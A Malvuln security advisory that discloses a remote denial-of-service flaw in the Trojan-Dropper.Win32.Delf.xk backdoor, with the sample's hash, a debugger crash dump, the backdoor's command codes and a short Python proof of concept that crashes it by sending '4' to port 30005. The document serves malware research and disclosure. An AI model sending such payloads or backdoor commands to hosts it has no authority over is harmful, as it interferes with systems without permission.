Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/869c813722be90cf1b3708051103ce14.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Delf.xk
Vulnerability: Remote Invalid Pointer Write DOS
Description: Win32.Delf.xk drops server.exe in AppData\Local\Temp dir and listens on TCP ports 30005,30006 and 30007. Netcat to port 30005 and input the number 9 it trys to create a file, number 2 for read file and 3 for opening a file but errors out.

9 create file
2 read file
3 open file 

Interestingly, sending a packet with a single character the number "4" to TCP port 30005 will trigger invalid pointer write and subsequent crash of the backdoor.

Type: PE32
MD5: 869c813722be90cf1b3708051103ce14
Vuln ID: MVID-2021-0130
Dropped files: server.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/14/2021

Memory Dump:
(418.1320): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for server.exe
server+0x577ab:
004577ab 0089583cc740    add     byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000
eip=004577ab esp=000a1430 ebp=000a1451 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
server+0x577ab:
004577ab 0089583cc740    add     byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=??

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
server+577ab
004577ab 0089583cc740    add     byte ptr [ecx+40C73C58h],cl

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004577ab (server+0x000577ab)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 410cb402
Attempt to write to address 410cb402

PROCESS_NAME:  server.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  410cb402

WRITE_ADDRESS:  410cb402 

FOLLOWUP_IP: 
server+577ab
004577ab 0089583cc740    add     byte ptr [ecx+40C73C58h],cl

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001320

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

IP_ON_HEAP:  3077129d
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 3077129d

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 3077129d to 004577ab

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
000a1451 3077129d 34000a15 800019fd bc000a15 server+0x577ab
000a1455 34000a15 800019fd bc000a15 aa000a14 0x3077129d
000a1459 800019fd bc000a15 aa000a14 34004577 0x34000a15
000a145d bc000a15 aa000a14 34004577 300019fd 0x800019fd
000a1461 aa000a14 34004577 300019fd 00000a15 0xbc000a15
000a1465 34004577 300019fd 00000a15 53000000 0xaa000a14
000a1469 300019fd 00000a15 53000000 30771012 0x34004577
000a146d 00000000 53000000 30771012 34000a15 0x300019fd


STACK_COMMAND:  ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  server+577ab

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: server

IMAGE_NAME:  server.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_server.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_server+577ab




Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=30005
PAYLOAD ="4" 
        
def doit():
    
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))
    s.send(PAYLOAD)
    
    print("Trojan-Dropper.Win32.Delf.xk / Invalid Pointer Write DOS")
    print("MD5: 869c813722be90cf1b3708051103ce14")
    print("By Malvuln")
    
    s.close()


if __name__=="__main__":
    doit()


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